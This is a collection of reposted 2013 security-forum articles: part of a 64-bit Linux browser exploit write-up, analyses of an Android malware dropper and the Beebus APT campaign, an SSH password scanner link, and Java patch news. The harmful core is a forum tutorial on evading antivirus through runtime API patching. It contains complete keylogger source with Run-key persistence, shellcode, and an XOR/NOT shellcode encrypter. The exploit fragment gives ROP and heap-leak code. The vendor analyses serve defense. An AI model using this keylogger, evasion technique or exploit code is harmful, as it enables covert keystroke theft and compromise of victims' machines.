0, converterI32, 0, prepdata['mov_rdx_112_rdi_pp']); add64(ia, 0, ia, 0, -0x1e8); var ib8 = new Uint8Array(0x10000); var ib = new Uint32Array(ib8.buffer); buffer2.append(ib8); var ibAddr = [ia[112/4], ia[112/4 + 1]];[B][B] Using knowledge of the binary layout, a vtable value is chosen that will result in the WebCore::MediaPlayer::sourceAppend vtable call site calling the function v8::internal::HStoreNamedField::SetSideEffectDominator. An appropriate function name. It disassembles to: 0x00007f153efd7340 <+0>: mov QWORD PTR [rdi+0x70],rdx 0x00007f153efd7344 <+4>: ret As can be seen, the value of rdx (the 2nd non-this function parameter) is written to offset 112 of this. this is backed by a raw buffer pointer for the ia Javascript Uint32Array and rdx in the context of WebCore::MediaPlayer::sourceAppend is a raw buffer pointer for the ib Javscript Uint32Array. Therefore, the address of a heap buffer under the control of Javascript has been leaked to Javascript. 9. Proceed as normal. The exploit now has control over a vtable pointer. It can point the vtable pointer at a heap buffer where the contents can be controlled arbitrarily. The exploit is free to start ROP chains etc. As it happens, the exploit payload is expressed in terms of valid full function calls. This is achieved by bouncing into a useful sequence of opcodes in a template base::internal::Invoker<3>: [/B][/B] 0x00007f153fc71d40 <+0>: mov rax,rdi 0x00007f153fc71d43 <+3>: lea rcx,[rdi+0x30] 0x00007f153fc71d47 <+7>: mov rsi,QWORD PTR [rdi+0x20] 0x00007f153fc71d4b <+11>: mov rdx,QWORD PTR [rdi+0x28] 0x00007f153fc71d4f <+15>: mov rax,QWORD PTR [rax+0x10] 0x00007f153fc71d53 <+19>: mov rdi,QWORD PTR [rdi+0x18] 0x00007f153fc71d57 <+23>: jmp rax[B][B] As can be seen, these opcodes pull a jump target, a new this pointer and two function arguments from the current this pointer. A very useful construct. Posted by Chris at 2:50 PM Sursa: http://scarybeastsecurity.blogspot.com.es/2013/02/exploiting-64-bit-linux-like-boss.html

Mobile attacks! Victor Chebyshev Kaspersky Lab Expert Posted February 01, 12:31 GMT Users of inexpensive Android smartphones typically look for ways to accelerate their devices, for example, by freeing up memory. Demand for software that makes smartphones work a little faster creates supply, some of which happens to be malicious. In addition to legitimate applications, apps that only pretend to clean up the system have appeared on Google Play. We have come across PC malware that infects mobile devices before. However, in this case it’s the other way round: an app that runs on a mobile device (a smartphone) is designed to infect PCs. On January 22, 2013 Kaspersky Lab discovered the following application on Google Play: The app is obviously quite popular and has a good rating: This application has a twin brother that has an identical feature list but a different name: As for the app authors’ imagination, they did not have much to spare for the GUI. After launching, the application shows all the running services: At the same time, it restarts them: This is where the ‘useful’ activity ends – and the interesting part begins. Among the numerous commands performed at the instruction of the master, the app can execute the following code: Note the name of the method – Tools.UsbAutoAttack. Here are the details: This code means that the malware downloads three files from the URL specified at the beginning of the class. The following files are downloaded: autorun.inf, folder.ico, svchosts.exe. Now, we need to find out where the application saves these files. This can be determined by looking at the DownloadFile method: It follows from this piece of code that the files will be placed in the root directory of the SD card. Therefore, if the smartphone is connected to the PC in the USB drive emulation mode, the system will automatically execute svchosts.exe file. Now, it would be curious to find out what’s inside svchosts.exe. We managed to download the file from the cybercriminals’ server. It turns out that svchosts.exe is in fact Backdoor.MSIL.Ssucl.a. We have observed and detected similar objects starting from the first half of 2012. However, there was no connection to mobile platforms at the time Overall, Backdoor.MSIL.Ssucl.a is not a particularly sophisticated piece of malware. Its only feature of interest is that it includes the freely-distributed library NAUDIO (NAudio - Home). As the screenshot below shows, the NAUDIO library is the biggest part of the application. Below, we try to figure out why the cybercriminals decided to use this structure. First of all, have a look at the constructor of the frmMain form: As you can see, a “Data Received” event causes the event handler to call the con_DataReceived function. The function has rather extensive capabilities and is designed to handle a variety of commands sent by the master, but right now we are interested in the way a specific command is handled: It can be seen in this piece of code that the RECORD_STR command causes the StartRec function to be called: Next, note BeginMonitoring and BeginRecording. In the former case, monitoring of the default audio recording device is configured. The value of the recordingDevice variable is set to zero for the purpose. In the former case, monitoring of the default audio recording device is configured. The value of the recordingDevice variable is set to zero for the purpose: As soon as the microphone detects sound, the application immediately begins to write audio data to a file using BeginRecording: The program encrypts files and sends them to the master: Encryption algorithm Uploading any file to the master’s FTP This is where the address to which the app should connect and send files is taken from Generally speaking, saving autorun.inf and a PE file to a flash drive is one of the most unsophisticated ways of distributing malware. At the same time, doing this using a smartphone and then waiting for the smartphone to connect to a PC is a completely new attack vector. In the current versions of Microsoft Windows, the AutoRun feature is disabled by default for external drives; however, not all users have migrated to modern operating systems. It is those users who use outdated OS versions that are targeted by this attack vector. Thus, a typical attack victim is the owner of an inexpensive Android smartphone who connects his or her smartphone to a PC from time to time, for example, to change the music files on the device. Judging by the sales statistics for Android smartphones, I would say that such people are quite numerous. For the attack to be more successful, it only lacks a broader distribution scheme. It is worth noting that the approach used by the author of these applications is very well thought out. The app includes a vast range of features. For instance, in addition to infecting workstations, the Android version of the bot includes the following features: Sending SMS messages Enabling Wi-Fi Gathering information about the device Opening arbitrary links in a browser Uploading the SD card’s entire contents Uploading an arbitrary file (or folder) to the master’s server Uploading all SMS messages Deleting all SMS messages Uploading all the contacts/photos/coordinates from the device to the master This is the first time we have seen such an extensive feature set in one mobile application. Sursa: Mobile attacks! - Securelist

HostBox SSH 0.2 Authored by Oskar Stridsman | Site stridsmanIT.wordpress.com HostBox SSH is a SSH password/account scanner written in python. Download: http://packetstormsecurity.com/files/download/119996/HostBox-0.2.tar.gz Sursa: HostBox SSH 0.2 ? Packet Storm

[h=1]Patching & AVs[/h]Author: [h=3]RosDevil[/h]Today i want to talk to you about patching. It is a very useful way to avoid AV detenction, specially against signatures controls. [intro] Patching consists in modifing code in runtime. To be more specific, we will write a function in assembly or a shellcode that performs some operations using common APIs but passing non-sense parameters which are our placeholders (labels), like 0xACEACEAC (which can be recognized a default address). To list some APIs which are normaly monitored by AVs: - RegSetValueEx - GetAsyncKeyState - CreateRemoteThread - NtCreateThreadEx - LoadLibrary - VirtualProtect - SetWindowsHookEx - bind, connect, accept //sockets - WriteProcessMemory - VirtualAlloc - InternetConnect ... As you can see they are common APIs used for injection, keylogging and backdoors. [index] I provide 3 examples: - MessageBoxA patching, is really easy and it explains the basics of this tecnique - Keylogger with patched APIs - Extra example of crypting the payload [example 1 - MessageBoxA patching] To say a few words: To patch as assembly function we need to know MessageBoxA address in user32.dll and the addresses of its parameters. We can get the API address through GetProcAddress(). For a better example we are going to patch the assembly code that load user32.dll and uses GetProcAddress to get the address. #include "windows.h" #include <iostream> using namespace std; _declspec() void Mess(void); _declspec() void Mess_size(); static _declspec(naked) void Mess(void){ _asm{ push 0xACEACEAC //first placeholder after 1 byte mov ecx, 0xACEACEAC //second placeholder after 6 bytes call ecx //eax = LoadLibraryA("User32.dll"); push 0xACEACEAC push eax mov ecx, 0xACEACEAC call ecx //eax = GetProcAddress(eax, "MessageBoxA"); push 0 push 0xACEACEAC push 0xACEACEAC push 0 call eax //MessageBox(0, "caption", "text", BUTTONS & Icon); ret } } static _declspec(naked) void Mess_size(){ } int _tmain(int argc, _TCHAR* argv[]) { char * dll = "User32.dll"; char * Msgstring = "MessageBoxA"; char * msg = "PATCHING!"; char * task = "Nice patching man!"; char button = 3; //normaly the last parameter of MesssageBoxA is an int, but if we want to pass a BYTE we need to pass a char. unsigned long LoadLib = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); unsigned long GetProc = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "GetProcAddress"); DWORD oldp; DWORD size = (DWORD)Mess_size - (DWORD)Mess; if (VirtualProtect(Mess, size, PAGE_EXECUTE_READWRITE, &oldp)==0) { MessageBox(0, "Error", "VirtualProtect()", MB_OK); return 1; } //THIS IS PATCHING memcpy((void*)((unsigned long)Mess + 1), &dll, 4); memcpy((void*)((unsigned long)Mess + 6), &LoadLib, 4); memcpy((void*)((unsigned long)Mess + 13), &Msgstring, 4); memcpy((void*)((unsigned long)Mess + 19), &GetProc, 4); memcpy((void*)((unsigned long)Mess + 26), &button, 1); memcpy((void*)((unsigned long)Mess + 28), &msg, 4); memcpy((void*)((unsigned long)Mess + 33), &task, 4); //notice: instead of memcpy() we could use WriteProcessMemory(), nothing changes. //call the patched function Mess(); cout<<"Done!"<<endl; cin.get(); return 0; } Now, before is stated that even a shellcode could work, of course it does! This is the shellcode that repprasents the assembly function Mess(): char shellcode[322] = "\x68\xac\xce\xea\xac\xb9\xac\xce\xea\xac\xff\xd1\x68\xac\xce\xea\xac\x50\xbb\xac\xce\xea\xac\xff\xd3\x6a\x00\x68\xac\xce\xea\xac\x68\xac\xce\xea\xac\x6a\x0d\xff\xd0\xc3"; //each \xXX is a character in hex Using the shellcode is better to get quicker the offsets (positions) of the addresses placeholder 0xACEACEAC, which in hex is converted in "\xac\xce\xea\xac". Count now starting from 0 the first time we find that string in the shellcode... first matching to position 1 and there we need to pass the address to the string "user32.dll". After we can do the same thing we did above with memcpy((void*)((unsigned long)&shellcode + offset), &param, sizeof(param)); Just to remember to you, to execute a shellcode in c++ do this: int (*func)() = (int(*)())shellcode; func(); [exampe 2 - Keylogger] This is an example how to use patching to hide our keylogger (SetWindowsHookEx is the API we're going to patch) //ADVICE: i don't want people to comment how to make this keylogger better because isn't want i'm treating. #include <iostream> #include <windows.h> #include <fstream> #include <time.h> using namespace std; #define LOGFILE "LOG.txt" int Make_keylogger_start_with_OS(); int start_keylogging(); LRESULT WINAPI keyboard(int nCode, WPARAM wParam, LPARAM lParam); int WriteToLog(); //entra func __declspec() void patched_SetWindowsHookEx(void); _declspec() void size(void); void perform_SetWindowsHookEx(); void perform_RegSetValueEx(); HHOOK keyboardH; char keys[200]; char foreground[200]; int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { Make_keylogger_start_with_OS(); start_keylogging(); MSG message; while(GetMessage(&message, NULL, 0, 0)){ TranslateMessage(&message); DispatchMessage(&message); } return EXIT_SUCCESS; } int Make_keylogger_start_with_OS(){ long result; HKEY key; result = RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ|KEY_WRITE|KEY_QUERY_VALUE, &key); if (result != ERROR_SUCCESS) return 1; char * path = "C:\\path\\subdir\\keylogger.exe"; result = RegSetValueEx(key, "KEYLOGGER", 0, REG_SZ, (BYTE*)path, strlen(path)); if (result != ERROR_SUCCESS) return 1; RegCloseKey(key); return 0; } int start_keylogging(){ ZeroMemory(foreground, sizeof(foreground)); SYSTEMTIME lt; GetLocalTime(&lt); sprintf(keys, "\n\n---- Started: %02d/%02d/%02d, %02d:%02d \n\n\n", lt.wDay, lt.wMonth, lt.wYear, lt.wHour, lt.wMinute); WriteToLog(); //keyboardH = SetWindowsHookEx(WH_KEYBOARD_LL, /*(HOOKPROC)*/keyboard, GetModuleHandle(0), 0); perform_SetWindowsHookEx(); return 0; } int WriteToLog(){ FILE * fp; fp = fopen(LOGFILE, "a+"); if (fp == NULL) return 1; fputs(keys, fp); fclose(fp); strcpy(keys, ""); return 0; } LRESULT WINAPI keyboard(int nCode, WPARAM wParam, LPARAM lParam){ bool shift = false; if (nCode >= 0){ KBDLLHOOKSTRUCT *stroke = (KBDLLHOOKSTRUCT*)(lParam); if (wParam == WM_KEYDOWN){ UINT key = stroke->scanCode << 16; key += stroke->vkCode << 24; // SYSTEMTIME lt; GetLocalTime(&lt); //Getting foreground window char fore[200]; ZeroMemory(fore, sizeof(fore)); HWND win = GetForegroundWindow(); SendMessage(win, WM_GETTEXT, (WPARAM)200, (LPARAM)fore); if (strcmp(foreground, fore)){ strcat(keys, "\n\n----[ "); strcat(keys, fore); strcat(keys, " ]---- "); sprintf(keys, "%s %02d/%02d/%02d, %02d:%02d \n\n", keys, lt.wDay, lt.wMonth, lt.wYear, lt.wHour, lt.wMinute); strcpy(foreground, fore); } if (GetAsyncKeyState(VK_LSHIFT|VK_RSHIFT)){ shift = true; } //logging if (shift == false){ switch (stroke->vkCode){ //numbers case 0x30: strcat(keys, "0"); break; case 0x31: strcat(keys, "1"); break; case 0x32: strcat(keys, "2"); break; case 0x33: strcat(keys, "3"); break; case 0x34: strcat(keys, "4"); break; case 0x35: strcat(keys, "5"); break; case 0x36: strcat(keys, "6"); break; case 0x37: strcat(keys, "7"); break; case 0x38: strcat(keys, "8"); break; case 0x39: strcat(keys, "9"); break; //keys case 0x41: strcat(keys, "a"); break; case 0x42: strcat(keys, "b"); break; case 0x43: strcat(keys, "c"); break; case 0x44: strcat(keys, "d"); break; case 0x45: strcat(keys, "e"); break; case 0x46: strcat(keys, "f"); break; case 0x47: strcat(keys, "g"); break; case 0x48: strcat(keys, "h"); break; case 0x49: strcat(keys, "i"); break; case 0x4a: strcat(keys, "j"); break; case 0x4b: strcat(keys, "k"); break; case 0x4c: strcat(keys, "l"); break; case 0x4d: strcat(keys, "m"); break; case 0x4e: strcat(keys, "n"); break; case 0x4f: strcat(keys, "o"); break; case 0x50: strcat(keys, "p"); break; case 0x51: strcat(keys, "q"); break; case 0x52: strcat(keys, "r"); break; case 0x53: strcat(keys, "s"); break; case 0x54: strcat(keys, "t"); break; case 0x55: strcat(keys, "u"); break; case 0x56: strcat(keys, "v"); break; case 0x57: strcat(keys, "w"); break; case 0x58: strcat(keys, "x"); break; case 0x59: strcat(keys, "y"); break; case 0x5a: strcat(keys, "z"); break; //special strokes case VK_SPACE: strcat(keys, " "); break; case VK_RETURN: strcat(keys, "\n"); break; case VK_LEFT: strcat(keys, "[LEFT]"); break; case VK_RIGHT: strcat(keys, "[RIGHT]"); break; case VK_CAPITAL: strcat(keys, "[CAPS LOCK]"); break; case VK_UP: strcat(keys, "[UP]"); break; case VK_DOWN: strcat(keys, "[DOWN]"); break; case VK_BACK: strcat(keys, "[BACKSPACE]"); break; case 0xBC: strcat(keys, ","); break; case 0xBE: strcat(keys, "."); break; default: char gotkey[5]; GetKeyNameText(key, gotkey, sizeof(gotkey)); strcat(keys, gotkey); break; } }else{ switch (stroke->vkCode){ //second value case 0x30: strcat(keys, "="); break; case 0x31: strcat(keys, "!"); break; case 0x32: strcat(keys, "\""); break; case 0x33: strcat(keys, "£"); break; case 0x34: strcat(keys, "$"); break; case 0x35: strcat(keys, "%"); break; case 0x36: strcat(keys, "&"); break; case 0x37: strcat(keys, "/"); break; case 0x38: strcat(keys, "("); break; case 0x39: strcat(keys, ")"); break; //keys case 0x41: strcat(keys, "A"); break; case 0x42: strcat(keys, "B"); break; case 0x43: strcat(keys, "C"); break; case 0x44: strcat(keys, "D"); break; case 0x45: strcat(keys, "E"); break; case 0x46: strcat(keys, "F"); break; case 0x47: strcat(keys, "G"); break; case 0x48: strcat(keys, "H"); break; case 0x49: strcat(keys, "I"); break; case 0x4a: strcat(keys, "J"); break; case 0x4b: strcat(keys, "K"); break; case 0x4c: strcat(keys, "L"); break; case 0x4d: strcat(keys, "M"); break; case 0x4e: strcat(keys, "N"); break; case 0x4f: strcat(keys, "O"); break; case 0x50: strcat(keys, "P"); break; case 0x51: strcat(keys, "Q"); break; case 0x52: strcat(keys, "R"); break; case 0x53: strcat(keys, "S"); break; case 0x54: strcat(keys, "T"); break; case 0x55: strcat(keys, "U"); break; case 0x56: strcat(keys, "V"); break; case 0x57: strcat(keys, "W"); break; case 0x58: strcat(keys, "X"); break; case 0x59: strcat(keys, "Y"); break; case 0x5a: strcat(keys, "Z"); break; //special strokes case VK_SPACE: strcat(keys, " "); break; case VK_RETURN: strcat(keys, "[RETURN]\n"); break; case VK_LEFT: strcat(keys, "[LEFT]"); break; case VK_RIGHT: strcat(keys, "[RIGHT]"); break; case VK_UP: strcat(keys, "[UP]"); break; case VK_DOWN: strcat(keys, "[DOWN]"); break; case VK_BACK: strcat(keys, "[BACKSPACE]"); break; case VK_CAPITAL: strcat(keys, "[CAPS LOCK]"); break; case 0xBC: strcat(keys, ";"); break; case 0xBE: strcat(keys, ":"); break; default: char gotkey[5]; GetKeyNameText(key, gotkey, sizeof(gotkey)); strcat(keys, gotkey); break; } } WriteToLog(); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } void perform_SetWindowsHookEx(){ char * user32 = "User32.dll"; char * SetwindowshookEx = "SetWindowsHookExA"; unsigned long LoadLibrarY = (unsigned long)GetProcAddress(LoadLibrary("kernel32.dll"), "LoadLibraryA"); unsigned long GetProc = (unsigned long)GetProcAddress(LoadLibrary("kernel32.dll"), "GetProcAddress"); unsigned long myhandle = (unsigned long)GetModuleHandle(0); DWORD oldP; void * offset_func = keyboard; if (VirtualProtect(patched_SetWindowsHookEx, (DWORD)size - (DWORD)patched_SetWindowsHookEx, PAGE_EXECUTE_READWRITE, &oldP)==0) { MessageBox(0, "Error", "VirtualProtect()", MB_OK); return 1; } memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 3), &user32 , 4); memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 8), &LoadLibrarY , 4); memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 15), &SetwindowshookEx , 4); memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 21), &GetProc , 4); memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 30), &myhandle , 4); memcpy((void*)((unsigned long)patched_SetWindowsHookEx + 35), &offset_func, 4); Sleep(100); patched_SetWindowsHookEx(); } static __declspec(naked) void patched_SetWindowsHookEx(void){ _asm{ pushfd pushad push 0xACEACEAC mov ecx, 0xACEACEAC call ecx push 0xACEACEAC push eax mov ebx, 0xACEACEAC call ebx push 0 push 0xACEACEAC push 0xACEACEAC push 0Dh call eax mov dword ptr[keyboardH], eax popad popfd ret } } static _declspec(naked) void size(void){ } [example 3 - Extra about crypting] Now, somehow AV can be so "smart" that could find an assembly function that can be patched... so we cannot use it... BUT what about encrypting the payload and then during execution decrypt it and patch it?! WOW I will use a shellcode of example, a MessageBoxA. In this example i provide how to encrypt and decrypt a shellcode with XOR and NOT... but maybe the shellcode isn't working on your machine but only because isn't portable, i used fixed addresses. But encoder and decoder works PERFECTLY so try it with your shellcode. #include "windows.h" #include <iostream> using namespace std; char original_shellcode[] = "\xeb\x45\x5e\x31\xc9\x31\xc0\x88\x4e\x1e\x56\xb9\x7b\x1d\x80\x7c\xff\xd1\xeb\x57\x5e\x31\xd2\x88\x56\x0b\x56\x50\xba\x40\xae\x80\x7c\xff\xd2\xeb\x57\x5e\x31\xd2\x89\xf1\x83\xc1\x16\x88\x56\x15\x88\x51\x09\xb2\x30\x52\x31\xd2\x51\x56\x52\xff\xd0\x31\xd2\x50\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xb6\xff\xff\xff\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x23\xe8\xa4\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x23\xe8\xa4\xff\xff\xff\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x23\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x23"; char encrypted[500]; char decrypted[500]; int _tmain(int argc, _TCHAR* argv[]) { //encrypt: int length1 = strlen(original_shellcode); _asm{ xor ecx, ecx mov ecx, length1 mov edi, offset original_shellcode mov esi, offset encrypted enc: mov eax, [edi] xor eax, 30h not eax mov [esi], eax inc edi inc esi LOOP enc } cout<<"original: "<<original_shellcode<<endl<<endl; cout<<"encrypted: "<<encrypted<<endl<<endl; /* FILE * fp; fp = fopen("shell.txt", "w+"); fputs(encrypted, fp); fclose(fp); */ //decrypt _asm{ pushad xor ecx, ecx mov ecx, length1 mov edi, offset encrypted mov esi, offset decrypted enc1: mov eax, [edi] not eax xor eax, 30h mov [esi], eax inc edi inc esi LOOP enc1 } //NOW YOU CAN PATCH YOUR DECRYPTED SHELLCODE, DIY! cout<<"Decrypted: "<<decrypted<<endl<<endl; _asm{ pushad mov eax, offset decrypted call eax } return 0; } RosDevil Sursa: Patching & AVs - rohitab.com - Forums

Operation BEEBUS FireEye discovered an APT campaign consistently targeting companies in the aerospace and defense industries. The campaign has been in effect for sometime now. Infection Vector We have seen this campaign use both email and drive-by downloads as a means of infecting end users. The threat actor has consistently used attachment names of documents/white papers released by well-known companies. The malicious email attachment exploits some common vulnerabilities in PDF and DOC files. Exploits Used by Malware [TABLE=width: 277] [TR] [TD=width: 135] PDF[/TD] [TD=width: 136] DOC[/TD] [/TR] [TR] [TD=width: 135] CVE-2011-0611 [/TD] [TD=width: 136] CVE-2012-0158[/TD] [/TR] [TR] [TD=width: 135] CVE-2009-0927 [/TD] [TD=width: 136] CVE-2010-3333[/TD] [/TR] [TR] [TD=width: 135] CVE-2012-0754 [/TD] [TD=width: 136][/TD] [/TR] [/TABLE] Table 1 The malware uses a well-documented vulnerability in the Windows OS known as DLL search order hijacking. There is an order in which executables load DLLs on the Windows operating system. This particular malware takes advantage of this vulnerability and drops a DLL called ntshrui.DLL in the C:\Windows directory. The first place from where the executable looks to load the DLL is its own directory. By dropping the ntshrui.DLL in the directory C:\Windows, the malware achieves persistence. Figures 1 and 2 below show the modified weaponized PDF, which was used in the spear phishing attack. The PDF on the left is the non-malicious version, while the one on the right is malicious. As you can see from the pictures below, the original PDF was modified using the Ghostscript tool. Also the size of the malicious PDF is significantly smaller than the non-malicious version. Figure 1 Figure 2 Command and Control Figure 3. Initial GET request The malware communicates with a remote command and control (CnC) server. The GET request in Figure 4 is the initial request that the compromised machine makes to "check in" with the CnC server. The keyword "p=2," which is sent out as part of the URI, appears to indicate the version of the malware. Mining our database we found three versions of this malware and they are noted in the table below. The version value is hard-coded in the ntshrui.DLL file in the samples we observed. Figure 4. Encrypted data sent to CnC It encrypts information it collects with the base64 algorithm and then sends it to the remote CnC server as seen in Figure 4. It is interesting to note that the base64 data is subjected to some substitutions before it is sent out preventing run of the mill inspection on the wire. It replaces the ‘/’ (forward slash) and ‘+’ (plus) characters which are part of the base64 character set with ‘_’ (underscore) and ‘-‘ (hyphen) respectively. The code that performs this operation is shown in Figure 5. Figure 5 A sample of the data that is encrypted and sent to the CnC server for version ‘p=2’ is seen in the memory dump shown in Figure 6. At offset 4-7 it contains a time-based counter. It uses the keyword "osamu" in this instance to identify this particular campaign. The campaign keywords are not sent out in version ‘p=1’ but can still be found hardcoded in the DLL payload. A list of all the campaign keywords is listed in Table 2 below. The hostname and OS information are also included in the beacon. It awaits further commands from the CnC server in response to the data sent out. Figure 6 It has modules to capture system information (processor, disk, memory, OS), process id, process start time, and current user information. It also contains a module to download and execute additional payloads and updates. It downloads in to %TEMP% directory and calls CreateProcessA to invoke execution as seen below. Figure 7 Figure 8 The POST request looks very similar to the GET request and uses base64 encoding to encode the URI. POST /s/asp?__uLBwO1bAMKBgG2BQAAAAEAAAACAAAAAAAAAG9zYW11AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVwBJAE4ARABPAFcAUwBNAEEAQQBOAEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==p=2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; ) Accept: */* Host: Content-Length: 563 Connection: Keep-Alive Cache-Control: no-cache The malware collects the following information from the compromised machine. 1) Type of Processor 2) CPU Speed 3) Figures out the product type by querying the \SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType registry key. 4) Memory Usage Figure 9 The malware is fairly noisy sending multiple GET requests. In our test environment we observed that the POST request started a couple of hours after the malware initially checked in with the CnC. Around the same time we also noticed a new exe get dropped under "C:\Documents And Settings\Administrator\Local Setting\Temp\~ISUN32.exe". The two figures below show the ISUN32.exe process start up and the exe get dropped under TEMP directory. Figure 10 Figure 11 We have a full list which summarizes the attachment names, campaign codes, and campaign duration of this particular operation. The table also includes the md5sum of the malware payloads. Below is a subset of attachment names that we have observed. We are willing to share additional information with the security community. Please contact research at fireeye dot com for more information. sensor environments.doc Global_A&D_outlook_2012.pdf FY2013_Budget_Request .doc Understand your blood test report.pdf RHT_SalaryGuide_2012.pdf Security Predictions for 2012 and 2013.pdf April Is the Cruelest Month.pdf National Human Rights Action Plan of China (2012-2015).pdf Dept of Defense FY12 A STTR Solicitation Topics of Interest to Boeing.pdf Boeing_Current_Market_Outlook_2011_to_2030.pdf RHT_SalaryGuide_2012.pdf dodd-frank-conflict-minerals.doc Conflict-Minerals-Overview-for-KPMG.doc ????????.doc Timeline of the Beebus Campaign From the timeline below, we were able to figure out that this campaign has been targeting companies in the Aerospace and Defense vertical in waves. There is no specific pattern to this attack, we have seen days on which multiple weaponized emails were sent to several companies, and on other days we observed that the threat actor sent only one email to a specific target organization. The chart below shows Beebus attacks in the last year. ORIGIN/THREAT ACTOR ATTRIBUTION: The term "Beebus" was coined from an initial sample in this campaign (MD5: 7ed557921ac60dfcb295ebabfd972301), which was originally submitted to VirusTotal on April 12, 2011.[1] After this executable compromises the endpoint, this sample then generated command and control traffic to: GET /s/asp?XAAAAM4w5jmOS_kMZlr67o8jettxsYA8dZgeNAHes-Nn5p-6AFUD6yncpz5AL6wAAA==p=1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; ) Accept: */* Host: bee.businessconsults.net As early as March 2011, Joe Stewart at Dell SecureWorks reported that various subdomains off the primary domain of "businessconsults.net" have acted as command and control nodes for the well-known "HUC Packet Transmit Tool" (aka "HTran")[2], which is a light-weight TCP proxy tool used by the nation state threat actor that breached RSA around that time, labeled by McAfee as "Operation Shady RAT."[3] According to McAfee, one of the major tools, techniques, and procedures (TTPs) used by this threat actor was their use of obfuscated or encrypted HTML comments embedded in otherwise benign websites, in order to indirectly control compromised endpoints. As such, this TTP of obfuscated/encrypted HTML comments has been also widely reported in the media as associated with the nation state group called "Comment Group" or "Comment Team," which is believed to be associated with the Chinese government.[4] Bloomberg reports that various US intelligence sources have labeled this activity as "Byzantine Candor", accordingly.[5] Based upon these correlations, we believe Beebus to be yet another TTP associated with threat actors based in China. Another related sample (MD5: d7ec457be3fad8057580e07cae74becb) was originally submitted to VirusTotal on Sept. 23, 2011[6] and generates the following "Beebus" traffic pattern: GET /s/asp?XAAAAM4w5jmIa_kMZlr67o8jettxsYA8dZgeNAHes-Nn5p-6AFUD6yncpz5AL6wAAA==p=1 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; ) Accept: */* Host: 68.96.31.136 Similarly, the IP address (68.96.31.136) was another C2 node reported by Dell SecureWorks as hosting the HTran proxy infrastructure.[7] [1]https://www.virustotal.com/search/query=7ed557921ac60dfcb295ebabfd972301 [2] HTran and the Advanced Persistent Threat | Dell SecureWorks [3] http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf [4] Hackers Linked to China’s Army Seen From EU to D.C. - Bloomberg [5] Hackers Linked to China’s Army Seen From EU to D.C. - Bloomberg [6] https://www.virustotal.com/search/query=d7ec457be3fad8057580e07cae74becb [7]HTran and the Advanced Persistent Threat | Dell SecureWorks This post was written by FireEye researchers Darien Kindlund, Vinay Pidathala, Thoufique Haq, and Zheng Bu.Sursa: Malware Intelligence Lab from FireEye - Research & Analysis of Zero-Day & Advanced Targeted Threats:Operation BEEBUS

Welcome To code:zIRON Ziron is a mixed high and low level programming language; but unlike other high level compilers, Ziron directly assembles the high level code into machine code. Ziron is intended to allow advanced programmers to write highly optimised code, but also for new and beginners to take a step into the world of assembly programming without the worry of a low level syntax. (Sample) Building Blocks (structures): program WIN32CUI 'test'; #include 'ch.zir'; #include 'fileio.zir'; //////// const strFileName = 'text.txt'; ZFile file; char buf[512]; ///// inline procedure doFileOperation() { file.writeBuffer('Hello, World!\r\n'); file.setSOF(); file.readBuffer(@buf, 512); file.close(); print(@buf); } if (file.append(strFileName) == True) { print('Appending file "', strFileName, '"\r\n'); doFileOperation(); } else { print('Creating file "', strFileName, '"\r\n'); if (file.create(strFileName) == True) { doFileOperation(); } else { print('Unable to create file "', strFileName, '"\r\n'); } } wait_key(); ExitProcess(0); Mai multe: http://www.codeziron.com/index.php

[h=1]Oracle Fixes 50 Java Flaws with February CPU, One Vulnerability Still Unaddressed[/h]February 2nd, 2013, 11:20 GMT · By Eduard Kovacs Oracle has released the February 2013 Critical Patch Update (CPU) for Java SE. The CPU has been released ahead of schedule (the initial date was February 19) because many of the vulnerabilities uncovered in Java are actively exploited in the wild. Besides security in-depth fixes, the February CPU for Java SE addresses a total of 50 vulnerabilities, 44 of which affect the client deployment of Java. Three of the bugs can be exploited on desktops through Java Web Start and Java applets in the browser, or in servers, and two of the fixes apply to server deployment of the Java Secure Socked Extension (JSSE). We’ve reached out to Security Explorations, the Polish company that’s responsible for identifying most of the latest vulnerabilities, to find out if any of the bugs they’ve uncovered remain unfixed. “According to information received from Oracle on Feb 01, 2013 at 12:01 PM U.S. Pacific Time, Java SE Critical Patch Update released yesterday incorporates fixes for several critical security issues reported to the company since April 2012,” Adam Gowdiak, the CEO of Security Explorations said. “This includes, but is not limited to the fix for a critical Issue 50 affecting all Java SE versions released over the recent 8 years time, but also the fixes for most recent Issues such as 52 and 53, with the latter allowing for a complete bypass of Java SE 7 new security features aimed at preventing silent exploitation of Java vulnerabilities,” he added. “As of today, there is only one vulnerability left (Issue 51), which is yet to be addressed by Oracle.” One noteworthy thing is that it took Oracle over 4 months to address “Issue 50,” despite the fact that it affected around 1 billion users, and despite the fact that Security Explorations demonstrated that it could be fixed in just 30 minutes. Sursa: Oracle Fixes 50 Java Flaws with February CPU, One Vulnerability Still Unaddressed - Softpedia

